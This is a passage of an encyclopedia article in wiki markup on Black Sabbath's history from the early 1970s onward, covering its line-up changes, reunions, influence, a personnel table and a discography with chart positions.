The content of the songs (both originals and [[cover version]]s) from both albums demonstrated a tongue in cheek interest in the [[occult]] and [[magic (paranormal)|black magic]]. This was a crucial step in establishing the 'darkness' and 'heaviness' of later heavy metal lyrics, and Black Sabbath was the first group to feature such lyrical content, almost to the exclusion of other topics. [[Led Zeppelin]], [[The Doors]] and some others might have hinted at magic or the occult, but few contemporaries could match Black Sabbath for directness, such as &quot;My name is [[Lucifer]]/Please take my hand&quot; (from '''Black Sabbath''''s &quot;N.I.B.&quot;). Butler wrote most of the [[lyrics]]. 

Another innovation was the by-product of an accident: Iommi's [[fret]]ting fingers were injured in an industrial accident slightly before his early tenure with Earth. He was working in a sheet metal factory at the time and the tops of the two middle fingers on his right hand were sliced off. Initially, he forged himself [[prosthesis|prosthetics]] from a melted plastic detergent bottle. The injured fingers were understandably tender, so Iommi [[guitar#tuning|downtuned]] his Gibson guitar  from standard E to C#. The resultant slackness of the string allowed him to play with less bother to his fingertips. Butler also downtuned his bass guitar to more easily follow Iommi's playing. The lower pitch often seemed &quot;heavier&quot; or more substantive, and Black Sabbath were perhaps the first popular group to downtune. The practice of downtuning is now common &amp;mdash; perhaps even standard &amp;mdash; among [[metal]] groups.

Black Sabbath released another smash hit in 1971, ''[[Master of Reality]].'' This was the first Sabbath album to feature a significant amount of acoustic material (&quot;Solitude&quot; contained a flute solo by Iommi). This was a crucial and often overlooked switch in style by Sabbath, as they are largely known only for their simple, dark riffs from their earlier releases. By the time the band released ''[[Black Sabbath, Vol. 4]]''  in ([[1972]]), they were a full-fledged progressive rock group. Featuring the hit &quot;Changes&quot; (containing only vocal, bass, piano, and strings) and sonic rock anthems like &quot;Supernaut&quot; and &quot;Snowblind,&quot; ''Black Sabbath, Vol. 4'' was the group's most mature record to date. 

By this point, the band were one of the most popular bands in the world, and were a major concert attraction. ''[[Sabbath Bloody Sabbath]]'' ([[1973]]) saw the band work with [[Yes (band)|Yes]] keyboardist [[Rick Wakeman]] (who remains a close friend of the band today). The album contains some of the best known Black Sabbath material, including the space rock voyage, &quot;Spiral Architect,&quot; and the haunting prog-rock workout, &quot;A National Acrobat&quot;. which is one of the best songs on the album, the riff is almost identical to the song &quot;Sabbath Bloody Sabbath&quot;, but with a slightly stronger and catchier tune to it.

The band was heavily addicted to drugs and for over two years Osbourne and Ward took [[LSD]] every day. Towards the end of Osbourne's tenure in [[1978]], he was so embroiled in drugs that he claims he was &quot;very unhappy and got drunk and stoned every day&quot;. Many of the band's songs address drugs, both explicitly and implicitly.

The band was suffering major management problems (the group was managed by Osbourne's future father-in-law, [[Don Arden]]). The management problems and then a label change from Vertigo to WWA disrupted the release schedule of the band's new album. Despite the troubles, ''[[Sabotage (album)|Sabotage]]'' was released in [[1975]] with continued success. However, drug problems, continued experimentation in their music style ([[Gregorian]] chants and a chorale of monks highlighted &quot;Supertzar&quot;), the hard rock scene's changing environment, and some internal issues were affecting the stability and output of the band. 

''[[Technical Ecstasy]]'' ([[1976]]) turned out to be a commercial failure. The album was laden with symphony orchestras, synthesizers, and even drummer [[Bill Ward]] singing a [[Beatles]]-esque pop song. Some consider it one of the group's most ambitious records, yet fans of the classic Sabbath formula were alienated. After the [[1977]] tour, Ozzy Osbourne stopped turning up at band rehearsals. The remaining band members even recorded music with singer [[Dave Walker]], formerly of [[Fleetwood Mac]], but Osbourne continued on with Sabbath, releasing the highly controversial ''[[Never Say Die!]]'' ([[1978]]). By far the band's most experimental release, ''Never Say Die!'' is widely regarded as an excellent album (some hardcore fans call it their best), but a poor Black Sabbath album (&quot;Breakout&quot; featured a 15-piece horn section). Like the previous album, its sales were poor.

Due to internal conflicts and an evident lack of commitment, Osbourne was asked to leave the band in [[1979]], leading to a successful solo career - he went on to become one of the most successful solo artists in the history of heavy metal. The definitive tale is told in the book &quot;How Black was our Sabbath&quot;. Osbourne was replaced by former [[Rainbow (band)|Rainbow]] singer [[Ronnie James Dio]].

=== 1980s ===
Black Sabbath's next album (and first with singer [[Ronnie James Dio]]), ''[[Heaven and Hell (Black Sabbath)|Heaven and Hell]]'', proved to be a success, and saw the band's highest charting since 1975's ''[[Sabotage (album)|Sabotage]]''. It was on this tour that Dio popularised the &quot;[[devil horns]]&quot; hand gesture, which has since become a symbol of heavy metal music in general. The album also marked the inclusion of [[Quartz]]'s guitarist-turned-keyboardist [[Geoff Nicholls]] (Nicholls has not been consistently credited as an official member, and has often been forced to play live shows from backstage for supposed aesthetic purposes, but he has co-written many songs and has stayed with Black Sabbath through all subsequent incarnations). Also during the tour, drummer [[Bill Ward]] quit the band for personal reasons (both his parents died within a rather short period, and Ward was struggling with [[alcoholism]]  and other addictions). Drummer [[Vinny Appice]] joined to complete the tour and then record the next album ''[[Mob Rules]]'', whose title track appeared in the movie ''[[Heavy Metal (movie)|Heavy Metal]]''.  ''[[Mob Rules]]'' is considered to be the last widely respected studio release for the band.

The unauthorised release in [[1980]] of the live bootleg ''[[Live at Last (Black Sabbath album)|Live at Last]]'' (recorded in the [[Ozzy Osbourne]] era during the [[1973]] Sabbath Bloody Sabbath tour) prompted the band to properly record a live album on the Mob Rules tour, titled ''[[Live Evil]]''. However, during the mixing of Live Evil, internal band problems and nasty accusations developed, which led to Dio and Appice quitting the band to form [[Dio]]. Bill Ward returned to the drum throne and  [[Ian Gillan]] of [[Deep Purple]] fame became the new singer. To quote the singer ; &quot;I had no plans to join Black Sabbath. I went out with Geezer and Tony and we got drunk, and I found out the next day that I agreed to join the band. And they're such nice guys. It was great fun and it paid the bills,  I had a lovely year with them and that was it.&quot; This line-up recorded the album ''[[Born Again (Black Sabbath)|Born Again]]'', but [[Bill Ward]] dropped out of the band before the tour, being replaced by [[Bev Bevan]] of [[Electric Light Orchestra]].  Although the album surprisingly ended up being one of their most successful ones to date (hitting #4 in the UK charts), things did not last, as [[Ian Gillan]] left to reunite with [[Deep Purple]]. Drummer [[Bill Ward]] once again returned to the fold, and the hiring of new singer [[David Donato]] was officially announced in [[1984]]. However, after six months worth of rehearsals, Donato was discharged by management when Iommi and Butler squabbled over financial issues. 

At this point, the band's frequent line-up changes, [[Ozzy Osbourne]]'s increasing success in his solo career, and side-taking from music critics, combined to put the band under Osbourne's shadow.  Founding member [[Geezer Butler]] quit out of frustration and formed the [[Geezer Butler Band]], which did not end up releasing any albums. The original line-up of Black Sabbath reunited for one three-song show at [[Live Aid]] in 1985. After this, Tony Iommi decided to record a solo album and enlisted the help of longtime Sabbath keyboardist [[Geoff Nicholls]] (who was finally made an official member) and vocalist [[Glenn Hughes]], formerly of [[Deep Purple]] and [[Trapeze]]. [[Tony Iommi]] also got engaged to famous female heavy metal star [[Lita Ford]], and enlisted the help of her band's bassist ([[Dave Spitz|Dave &quot;The Beast&quot; Spitz]]) and drummer [[Eric Singer]], (later of [[KISS (band)|KISS]] and [[Alice Cooper]]) to round off the line-up. However, record company pressure caused the album ''[[Seventh Star]]'' to be released as ''Black Sabbath featuring Tony Iommi''.

Early in the tour for ''[[Seventh Star]]'' in [[1986]], [[Glenn Hughes]] got into a fist fight, and suffered severe blood clotting in his throat which made him lose his voice. An unknown young American singer by the name of [[Ray Gillen]] (no relation to [[Ian Gillan]]) was tapped for the job and finished the tour. The morale in the band was very high when they started recording ''[[The Eternal Idol]]'' (former drummer [[Bev Bevan]] had returned as a percussionist, and a second bassist, [[Bob Daisley]], also joined), but the new Black Sabbath hit a devastating series of catastrophes involving mismanagement and financial debt, mainly from poorly planned use of the world's most expensive recording studio. As a result, [[Ray Gillen]] left the band during the recording sessions. He later hooked up with ex-Ozzy Osbourne guitarist [[Jake E. Lee]] to form the rather successful band [[Badlands (band)|Badlands]] (which would later include Eric Singer).

Singer [[Tony Martin]] was brought in to re-record all of Gillen's original vocals on the ''Eternal Idol'' tapes, and the album was finally released. [[Tony Martin]] proved to be the perfect vocalist for the newly revitalised Black Sabbath. Though he somewhat resembled Dio, Martin clearly had his own style.

After the recording of ''[[The Eternal Idol]]'', most of the band quit Sabbath, leaving Iommi, Martin, and Nicholls to recruit bassist [[Jo Burt]] and former [[Clash]] drummer [[Terry Chimes]] for the short-lived 1987 ''Eternal Idol'' tour. 

In early [[1988]], ''[[Kerrang!]]'' magazine ran a story that Vegas-lounge singer [[Tom Jones (singer)|Tom Jones]] had joined [[Tony Iommi]] and [[Bill Ward]] in Black Sabbath. This later became known as a hoax, possibly due to the fact that it was the April issue of the magazine and during the shifting lineups of the 1980s, the ''Kerrang!'' staff seemed to enjoy poking fun at Black Sabbath as it then existed.

=== 1990s, 2000s ===
However, a significant degree of band stability finally came back to Black Sabbath by [[1988]] with the retention of [[Tony Martin]] and [[Geoff Nicholls]], and the addition of loyal drummer [[Cozy Powell]], who replaced [[Terry Chimes]]. Powell, a legendary drummer, had had success with his own band, as well as with [[Rainbow (band)|Rainbow]], [[Whitesnake]], [[Emerson, Lake &amp; Palmer|ELP]] and many others. With bassist [[Laurence Cottle]] replacing Jo Burt, Sabbath released the critically acclaimed ''[[Headless Cross]]'' album in [[1989]]. An [[MTV]] video for the title track received considerable airplay, and was released to mostly positive reviews. After the ''[[Headless Cross]]'' sessions, Laurence Cottle was replaced by veteran bassist [[Neil Murray]] (a former bandmate of [[Cozy Powell]]'s in [[Whitesnake]]). Sabbath released ''[[Tyr (album)|Tyr]]'' in 1990, considered by many to be one of the best Sabbath albums released in the post-Osbourne period. The group toured extensively throughout [[1990]] and [[1991]], as sales for the highly praised ''[[Tyr]]'' album continued to rise. Then the reunions happened. 

[[Tony Iommi]] cleaned house in [[1992]] to reunite the classic 1980s lineup of Black Sabbath (although what was to become the ''[[Dehumanizer]]'' line-up had originally been Iommi/Butler/Powell before [[Cozy Powell]] suffered a hip injury) Founding member [[Geezer Butler]], along with [[Ronnie James Dio]] and [[Vinny Appice]], joined up with [[Tony Iommi]] once again (this was the same line-up from [[1981]]'s ''[[Mob Rules]]'' and [[1982]]'s ''[[Live Evil]]'') and together they recorded ''Dehumanizer'' ([[1992]]). Playing to larger audiences then they had in nearly a decade, the rejuvenated Sabbath enjoyed renewed success with the powerful ''[[Dehumanizer]]'' album and tour. It was around this time that Ozzy Osbourne announced his retirement from touring and proposed that Black Sabbath open his final two shows at [[Costa Mesa, California|Costa Mesa]]. When Dio refused to participate, Iommi, Butler and Appice agreed to appear without him.

Dio quit to return to his highly successful solo band, and [[Rob Halford]] of [[Fight]], former [[Judas Priest]] singer, was brought in as a last-minute replacement (specifically for this event only). The original Black Sabbath lineup, including [[Bill Ward]], reunited to close the second night of performances, on November 15, [[1992]], performing four songs.  In the end, [[Ozzy Osbourne]] decided not to retire (following his &quot;No More Tours&quot; tour with the aptly titled &quot;Retirement Sucks&quot; tour), and contracts were all ready for a new album and tour from the original Black Sabbath line-up, but then Osbourne decided at the last minute that he did not want to do it.

After the Dio/Halford debacle, [[Vinnie Appice]] was replaced by former [[Rainbow (band)|Rainbow]] drummer [[Bobby Rondinelli]]. Vocalist [[Tony Martin]] and keyboardist [[Geoff Nicholls]] returned to the band and Black Sabbath recorded the superb ''[[Cross Purposes]]'', and ''[[Cross Purposes Live]]'', a CD and video combination, which was released in late [[1994]], after which [[Bobby Rondinelli]] left the group mid-tour. His replacement for the rest of the tour was, surprisingly, original Black Sabbath drummer [[Bill Ward]]. After the tour, both Ward and Butler parted ways with Iommi, Martin, and Nicholls.

Another reunion was on tap in [[1995]]. This time the ''[[Tyr (album)|Tyr]]''-era group would again join forces, as drummer [[Cozy Powell]] and bassist [[Neil Murray]] rejoined Iommi, Martin, and Nicholls for ''[[Forbidden (album)|Forbidden]]''. The album was produced by [[Ernie C]] of the pioneering [[rap metal]] group [[Body Count]]. To date, ''[[Forbidden]]'' remains Black Sabbath's last full-length studio album recorded by any line-up. After the recording of the album, Cozy Powell left again and was replaced for the tour by a returning [[Bobby Rondinelli]]. 

In [[1996]], [[Castle Records]] remastered and re-released Black Sabbath's catalog on CD up through ''Eternal Idol'' ([[1987]]), and a 1988-1995 compilation titled ''[[The Sabbath Stones]]'' was released to finish [[Tony Iommi]]'s contract with the record label.

In [[1997]], [[Ozzy Osbourne]] launched his wildly successful [[Ozzfest]] metal festival tour, which he headlined on a nightly basis. For the last part of his set each night, he was joined by Geezer Butler and Tony Iommi for a rundown on several Sabbath classics ([[Faith No More]] drummer [[Mike Bordin]] was on drums). However, in December 1997, original drummer Bill Ward joined forces with Osbourne, Iommi, and Butler to reform the original Black Sabbath for the first time since 1979.

Black Sabbath have since released at least one authorised double-CD compilation, one double-CD live compilation, and an eight CD box set. The band had writing sessions together in [[2001]], and played one new song (&quot;Scary Dreams&quot;) on the subsequent tour.  However, a new studio album has yet to be released. The band initially began work on a new album in [[2001]] with legendary producer [[Rick Rubin]], but Ozzy's solo contract has delayed, and perhaps killed, further progress on the album. The band took three years off before returning to the road in [[2004]] to headline yet another [[Ozzfest]] tour, celebrating their 35th anniversary. For [[2005]], [[Ozzy Osbourne]] performed with Black Sabbath in his Ozzfest tour, which also featured [[Iron Maiden]]. On keyboards for [[2005]] shows was [[Rick Wakeman]]'s son [[Adam Wakeman|Adam]].

In November [[2005]] Black Sabbath were inducted into the [[UK Music Hall of Fame]], and the original line-up played at the awards ceremony. That same month it was also announced that they would be inducted into the [[Rock and Roll Hall of Fame]] on [[March 13]], [[2006]].

==Reunions==
In [[1985]], the original members of Black Sabbath (Iommi/Butler/Osbourne/Ward) reunited for the [[Live Aid]] [[benefit concert]]. They played only three songs.

In [[1992]], the 1980-1982 version of Black Sabbath (Iommi/Butler/Dio/Appice) reunited and toured for the album ''[[Dehumanizer]]''.

In [[1992]], the original members of Black Sabbath played three songs after one of Ozzy Osbourne's &quot;retirement&quot; concerts in Costa Mesa, California.

In [[1995]], the 1989-1991 version of the band (Iommi/Powell/Martin/Murray/Nicholls) reunited for the album and tour for ''[[Forbidden (album)|Forbidden]]''.

In [[1997]]-[[1998|98]], the original members of Black Sabbath reunited, toured and released ''[[Reunion (album)|Reunion]]''.

In [[1999]], [[2001]], [[2004]] and [[2005]] the original Black Sabbath reunited again and toured on Osbourne's Ozzfest.  There has been a rumoured new album of material &quot;coming soon&quot; since 2001, but to date, nothing has surfaced, and no formal plans to record have been made. In late December [[2005]], [http://www.ultimate-guitar.com/news/upcoming_releases/ozzy_says_he_doesnt_want_another_black_sabbath_album.html Ultimate-Guitar.com] has reported that Osbourne has ruled out on a reunion album and refused to record along with the line-up. He was also terrified that the album would not match the same standard as the old albums.  However, Osbourne has also issued statements that were exactly the opposite of this stance over the years too, so these remarks can be taken with a grain of salt.

==Influence on later musicians==
For most of their career, Black Sabbath rarely received any critical praise (&quot;blundering bozos&quot; was one description). But the late 1980s and early 1990s saw a fairly radical reappraisal of the group: not only of their instrumetnal skills (which were better than they were generally given credit for) but also because they had become widely acknowledged as some of the most influential pioneers in the heavy metal field. Osbourne himself received an ''[[NME]]'' award for &quot;godlike genius&quot; in 2004.

[[Doom metal]], a [[heavy metal music|heavy metal]] sub-genre, takes its name directly from a Black Sabbath song, Hand of Doom.

Black Sabbath is held in the highest regard by bands such as Pantera. Phil Anselmo has distinctly made remarks saying that as great as Pantera is, it is just a band, while the members of Black Sabbath and Judas Priest are gods. Songs like Goddam Electric pay tribute to Black Sabbath and his other band Down is also greatly influence by it.

Several [[nu metal]] bands, such as [[Slipknot (band)|Slipknot]], cite Black Sabbath as an influence.

Some of the incidents and characters in the spoof rock documentary ''[[Spinal Tap (band)|This Is Spinal Tap]]'' are based on Black Sabbath. For example the Stonehenge stage set idea in the film was taken from a real stage used by Black Sabbath for their Born Again Tour. In contrast to the set in the film, in which Stonehenge was made too small to be very imposing on stage, the Black Sabbath version of Stonehenge was in fact ''too large'' to fit in many of the arenas the band played in. The eventual fate of the set is not clear, although Iommi has said it was probably abandoned on a loading dock somewhere.

Finally, Black Sabbath has inspired bands outside of the heavy metal genre. [[The Cardigans]], for instance, cite them as an influence and occasionally cover their songs on their own albums and (more often) B-sides.

==Influences==
Black Sabbath had a unique sound that emerged from diverse influences.  Tony Iommi was greatly influenced both by [[Hank Marvin]]'s playing on [[Cliff Richard and the Shadows]]' heavy-guitar based  recordings and by [[jazz]] guitar, particularly that of [[Django Reinhardt]].  Bill Ward has also expressed a fondness for [[jazz]] music in general, and for [[drummer]] [[Buddy Rich]] especially; this jazz influence may be heard on some of Ward's playing with Black Sabbath.  Early incarnations of Black Sabbath merged elements of blues, jazz, and rock and paid their dues playing cover versions of songs by heavy rock acts including [[Jimi Hendrix]], [[Blue Cheer]], and [[Cream (band)|Cream]]. Ozzy Osbourne says he was deeply influenced by [[the Beatles]] and his favorite album of all time is ''[[Revolver (album)|Revolver]]''.

==Trivia==
After repeatedly being passed over by the [[Rock and Roll Hall of Fame]] since becoming eligible in [[1997]], [[Ozzy Osbourne]] famously demanded that Black Sabbath be removed from consideration for the institution. In [[1999]], Osbourne said after Black Sabbath was passed over their second year of eligibility, &quot;Just take our name off the list. Save the ink.&quot;  His basis for this position was that because the fans did not select the members, it was &quot;totally irrelevant&quot;. The [[Rock &amp; Roll Hall of Fame]] ignored this request and Black Sabbath will be finally inducted in March 13, [[2006]]. 

[[Elton John]] is a huge fan of Black Sabbath, and once said it is the only hard rock group he likes.

==Members==
{| class=&quot;toccolours&quot;  border=1 cellpadding=2 cellspacing=0 style=&quot;float: right; width: 375px; margin: 0 0 1em 1em; border-collapse: collapse; border: 1px solid #E2E2E2;&quot;
|+ &lt;big&gt;'''[[Black Sabbath (band)|Black Sabbath]] personnel'''&lt;/big&gt;
|-
! bgcolor=&quot;#E7EBEE&quot; | (1969-1979)
| 
* [[Ozzy Osbourne]] - [[vocals]]&lt;BR&gt;
* [[Tony Iommi]] - [[guitar]]&lt;BR&gt;
* [[Geezer Butler]] - [[bass guitar]]&lt;BR&gt;
* [[Bill Ward]] - [[drums]]&lt;BR&gt;
|-
! bgcolor=&quot;#E7EBEE&quot; | (1979-1980)
| 
* [[Ronnie James Dio]] - [[vocals]]&lt;BR&gt;
* [[Tony Iommi]] - [[guitar]]&lt;BR&gt;
* [[Geezer Butler]] - [[bass guitar]]&lt;BR&gt;
* [[Bill Ward]] - [[drums]]&lt;BR&gt;
|-
! bgcolor=&quot;#E7EBEE&quot; | (1980-1982)
| 
* [[Ronnie James Dio]] - [[vocals]]&lt;BR&gt;
* [[Tony Iommi]] - [[guitar]]&lt;BR&gt;
* [[Geezer Butler]] - [[bass guitar]]&lt;BR&gt;
* [[Vinny Appice]] - [[drums]]&lt;BR&gt;
|-
! bgcolor=&quot;#E7EBEE&quot; | (1982-1983)
| 
* [[Ian Gillan]] - [[vocals]]&lt;BR&gt;
* [[Tony Iommi]] - [[guitar]]&lt;BR&gt;
* [[Geezer Butler]] - [[bass guitar]]&lt;BR&gt;
* [[Bill Ward]] - [[drums]]&lt;BR&gt;
|-
! bgcolor=&quot;#E7EBEE&quot; | (1983-1984)
| 
* [[Ian Gillan]] - [[vocals]]&lt;BR&gt;
* [[Tony Iommi]] - [[guitar]]&lt;BR&gt;
* [[Geezer Butler]] - [[bass guitar]]&lt;BR&gt;
* [[Bev Bevan]] - [[drums]]&lt;BR&gt;
|-
! bgcolor=&quot;#E7EBEE&quot; | (1984-1985)
| 
* [[David Donato]] - [[vocals]]&lt;BR&gt;
* [[Tony Iommi]] - [[guitar]]&lt;BR&gt;
* [[Geezer Butler]] - [[bass guitar]]&lt;BR&gt;
* [[Bill Ward]] - [[drums]]&lt;BR&gt;
|-
! bgcolor=&quot;#E7EBEE&quot; | (1985-1986)
| 
* [[Glenn Hughes]] - [[vocals]]&lt;BR&gt;
* [[Tony Iommi]] - [[guitar]]&lt;BR&gt;
* [[Geoff Nicholls]] - [[Keyboard instrument|keyboards]]&lt;BR&gt;
* [[Dave Spitz]] - [[bass guitar]]&lt;BR&gt;
* [[Eric Singer]] - [[drums]]&lt;BR&gt;
|-
! bgcolor=&quot;#E7EBEE&quot; | (1986-1987)
| 
* [[Ray Gillen]] - [[vocals]]&lt;BR&gt;
* [[Tony Iommi]] - [[guitar]]&lt;BR&gt;
* [[Geoff Nicholls]] - [[Keyboard instrument|keyboards]]&lt;BR&gt;
* [[Dave Spitz]] - [[bass guitar]]&lt;BR&gt;
* [[Eric Singer]] - [[drums]]&lt;BR&gt;
|-
! bgcolor=&quot;#E7EBEE&quot; | (1987)
| 
* [[Tony Martin]] - [[vocals]]&lt;BR&gt;
* [[Tony Iommi]] - [[guitar]]&lt;BR&gt;
* [[Geoff Nicholls]] - [[Keyboard instrument|keyboards]]&lt;BR&gt;
* [[Dave Spitz]] - [[bass guitar]]&lt;BR&gt;
* [[Bob Daisley]] - [[bass guitar]]&lt;BR&gt;
* [[Eric Singer]] - [[drums]]&lt;BR&gt;
* [[Bev Bevan]] - [[percussion]]&lt;BR&gt;
|-
! bgcolor=&quot;#E7EBEE&quot; | (1987-1988)
| 
* [[Tony Martin]] - [[vocals]]&lt;BR&gt;
* [[Tony Iommi]] - [[guitar]]&lt;BR&gt;
* [[Geoff Nicholls]] - [[Keyboard instrument|keyboards]]&lt;BR&gt;
* [[Jo Burt]] - [[bass guitar]]&lt;BR&gt;
* [[Terry Chimes]] - [[drums]]&lt;BR&gt;
|-
! bgcolor=&quot;#E7EBEE&quot; | (1988-1989)
| 
* [[Tony Martin]] - [[vocals]]&lt;BR&gt;
* [[Tony Iommi]] - [[guitar]]&lt;BR&gt;
* [[Geoff Nicholls]] - [[Keyboard instrument|keyboards]]&lt;BR&gt;
* [[Laurence Cottle]] - [[bass guitar]]&lt;BR&gt;
* [[Cozy Powell]] - [[drums]]&lt;BR&gt;
|-
! bgcolor=&quot;#E7EBEE&quot; | (1989-1991)
| 
* [[Tony Martin]] - [[vocals]]&lt;BR&gt;
* [[Tony Iommi]] - [[guitar]]&lt;BR&gt;
* [[Geoff Nicholls]] - [[Keyboard instrument|keyboards]]&lt;BR&gt;
* [[Neil Murray]] - [[bass guitar]]&lt;BR&gt;
* [[Cozy Powell]] - [[drums]]&lt;BR&gt;
|-
! bgcolor=&quot;#E7EBEE&quot; | (1991-1992)
| 
* [[Ronnie James Dio]] - [[vocals]]&lt;BR&gt;
* [[Tony Iommi]] - [[guitar]]&lt;BR&gt;
* [[Geezer Butler]] - [[bass guitar]]&lt;BR&gt;
* [[Vinny Appice]] - [[drums]]&lt;BR&gt;
|-
! bgcolor=&quot;#E7EBEE&quot; | (1992-1994)
| 
* [[Tony Martin (rock singer)|Tony Martin]] - [[vocals]]&lt;BR&gt;
* [[Tony Iommi]] - [[guitar]]&lt;BR&gt;
* [[Geoff Nicholls]] - [[Keyboard instrument|keyboards]]&lt;BR&gt;
* [[Geezer Butler]] - [[bass guitar]]&lt;BR&gt;
* [[Bobby Rondinelli]] - [[drums]]&lt;BR&gt;
|-
! bgcolor=&quot;#E7EBEE&quot; | (1994-1995)
| 
* [[Tony Martin (rock singer)|Tony Martin]] - [[vocals]]&lt;BR&gt;
* [[Tony Iommi]] - [[guitar]]&lt;BR&gt;
* [[Geoff Nicholls]] - [[Keyboard instrument|keyboards]]&lt;BR&gt;
* [[Neil Murray]] - [[bass guitar]]&lt;BR&gt;
* [[Cozy Powell]] - [[drums]]&lt;BR&gt;
|-
! bgcolor=&quot;#E7EBEE&quot; | (1995-1997)
| 
* [[Tony Martin (rock singer)|Tony Martin]] - [[vocals]]&lt;BR&gt;
* [[Tony Iommi]] - [[guitar]]&lt;BR&gt;
* [[Geoff Nicholls]] - [[Keyboard instrument|keyboards]]&lt;BR&gt;
* [[Neil Murray]] - [[bass guitar]]&lt;BR&gt;
* [[Bobby Rondinelli]] - [[drums]]&lt;BR&gt;
|-
! bgcolor=&quot;#E7EBEE&quot; | (1997)
| 
* [[Ozzy Osbourne]] - [[vocals]]&lt;BR&gt;
* [[Tony Iommi]] - [[guitar]]&lt;BR&gt;
* [[Geezer Butler]] - [[bass guitar]]&lt;BR&gt;
* [[Bill Ward]] - [[drums]]&lt;BR&gt;
|-
! bgcolor=&quot;#E7EBEE&quot; | (1998)
| 
* [[Ozzy Osbourne]] - [[vocals]]&lt;BR&gt;
* [[Tony Iommi]] - [[guitar]]&lt;BR&gt;
* [[Geezer Butler]] - [[bass guitar]]&lt;BR&gt;
* [[Vinny Appice]] - [[drums]]&lt;BR&gt;
|-
! bgcolor=&quot;#E7EBEE&quot; | (1999-present)
| 
* [[Ozzy Osbourne]] - [[vocals]]&lt;BR&gt;
* [[Tony Iommi]] - [[guitar]]&lt;BR&gt;
* [[Geezer Butler]] - [[bass guitar]]&lt;BR&gt;
* [[Bill Ward]] - [[drums]]&lt;BR&gt;
|-
|}

== Jeff Fenholt ==
Christian evangelist [[Jeff Fenholt]] has claimed over the years to have been a member of Black Sabbath in 1985. This is misleading, however, as Black Sabbath did not technically exist as a band in 1985-1986. Fenholt auditioned for the vocal spot eventually filled by [[Glenn Hughes]] on the &quot;Seventh Star&quot; album, which was originally a Tony Iommi solo project until the record company dictated that the album be released under the moniker &quot;Black Sabbath Featuring Tony Iommi&quot;. Fenholt was not accepted, though bootleg demos (usually titled &quot;Star of India&quot;) of his auditions have circulated for years and can be found on [[eBay]] from time to time. Iommi has never acknowledged that Fenholt was a member of the band, and other members, particularly Dave Spitz, have strongly denied he was ever involved beyond auditioning.

==Official band discography==
The albums in this section are official &quot;band sponsored&quot; albums, and are released with the cooperation and authorization of the band that existed at the time of the release.

===Studio albums===
{| border=&quot;2&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
|-
|'''Album Cover'''
|'''Date of Release'''
|'''Title'''
|'''Label'''
|'''Chart positions'''
|'''US sales'''
|-
|[[Image:Black Sabbath debut album.jpg|center|50px|]]
|[[1970]]
|''[[Black Sabbath (album)|Black Sabbath]]''
|[[Warner Bros.]]
|#8 UK&lt;br&gt;#23 US
|
|-
|[[Image:BlackSabbathParanoid.jpg|center|50px|]]
|[[1970]]
|''[[Paranoid (album)|Paranoid]]''
|[[Warner Bros.]]
|#1 UK&lt;br&gt;#12 US
|
|-
|[[Image:BlackSabbathMasterofReality.jpg|center|50px|]]
|[[1971]]
|''[[Master of Reality]]''
|[[Warner Bros.]]
|#5 UK&lt;br&gt;#8 US
|
|-
|[[Image:Black Sabbath Vol 4.png|center|50px|]]
|[[1972]]
|''[[Black Sabbath, Vol. 4]]''
|[[Warner Bros.]]
|#8 UK&lt;br&gt;#13 US
|
|-
|[[Image:Black Sabbath SbS.jpg|center|50px|]]
|[[1973]]
|''[[Sabbath Bloody Sabbath]]''
|[[Warner Bros.]]
|#4 UK&lt;br&gt;#11 US
|
|-
|[[Image:BlackSabbathSabotage.jpg|center|50px|]]
|[[1975]]
|''[[Sabotage (album)|Sabotage]]''
|[[Warner Bros.]]
|#7 UK&lt;br&gt;#28 US
|
|-
|[[Image:BlackSabbathTechnicalEcstasy.jpg|center|50px|]]
|[[1976]]
|''[[Technical Ecstasy]]''
|[[Warner Bros.]]
|#13 UK&lt;br&gt;#51 US
|
|-
|[[Image:BlackSabbathNeverSayDie!.jpg|center|50px|]]
|[[1978]]
|''[[Never Say Die!]]''
|[[Warner Bros.]]
|#12 UK&lt;br&gt;#69 US
|
|-
|[[Image:BlackSabbathHeavenAndHell.jpg|center|50px|]]
|[[1980]]
|''[[Heaven and Hell (Black Sabbath album)|Heaven and Hell]]''
|[[Warner Bros.]]
|#9 UK&lt;br&gt;#28 US
|
|-
|[[Image:BlackSabbathMobRules.jpg|center|50px|]]
|[[1981]]
|''[[Mob Rules]]''
|[[Warner Bros.]]
|#12 UK&lt;br&gt;#29 US
|
|-
|[[Image:BlackSabbathBornAgain.jpg|center|50px|]]
|[[1983]]
|''[[Born Again (Black Sabbath)|Born Again]]''
|[[Warner Bros.]]
|#4 UK&lt;br&gt;#39 US
|
|-
|[[Image:BlackSabbathSeventhStar.jpg|center|50px|]]
|[[1986]]
|''[[Seventh Star]]''
|[[Warner Bros.]]
|#27 UK&lt;br&gt;#78 US
|
|-
|[[Image:Eternalidol.jpg|center|50px|]]
|[[1987]]
|''[[The Eternal Idol]]''
|[[Warner Bros.]]
|#168 US
|
|-
|[[Image:BlackSabbathHeadlessCross.jpg|center|50px|]]
|[[1989]]
|''[[Headless Cross]]''
|[[I.R.S. Records|I.R.S.]]
|#31 UK&lt;br&gt;#115 US
|
|-
|[[Image:BlackSabbathTYR.jpg|center|50px|]]
|[[1990]]
|''[[Tyr (album)|TYR]]''
|[[I.R.S. Records|I.R.S.]]
|#24 UK
|
|-
|[[Image:BlackSabbathDehumanizer.jpg|center|50px|]]
|[[1992]]
|''[[Dehumanizer]]''
|[[Warner Bros.]]
|#28 UK&lt;br&gt;#44 US
|
|-
|[[Image:BlackSabbathCrossPurposes.jpg|center|50px|]]
|[[1994]]
|''[[Cross Purposes]]''
|[[I.R.S. Records|I.R.S.]]
|#122 US
|
|-
|[[Image:Forbidden.jpg|center|50px|]]
|[[1995]]
|''[[Forbidden (album)|Forbidden]]''
|[[EMI]]
|Did not chart
|
|}

===Live albums===
*[[1982]] ''[[Live Evil (Black Sabbath)|Live Evil]]'' (live - Iommi, Dio, Butler, Appice); #13 UK, #37 US
*[[1998]] ''[[Reunion (album)|Reunion]]'' (live - Iommi, Osbourne, Butler, Ward); #11 US
*[[2002]] ''[[Past Lives (album)|Past Lives]]'' (live from the 1970s - Iommi, Osbourne, Butler, Ward); #114 US

===Compilation albums===
*[[1975]] ''[[We Sold Our Soul for Rock 'n' Roll]]'' (Iommi, Osbourne, Butler, Ward); #35 UK, #48 US
*[[1996]] ''[[The Sabbath Stones (album)|The Sabbath Stones]]'' (compilation of 1988-1995 material)
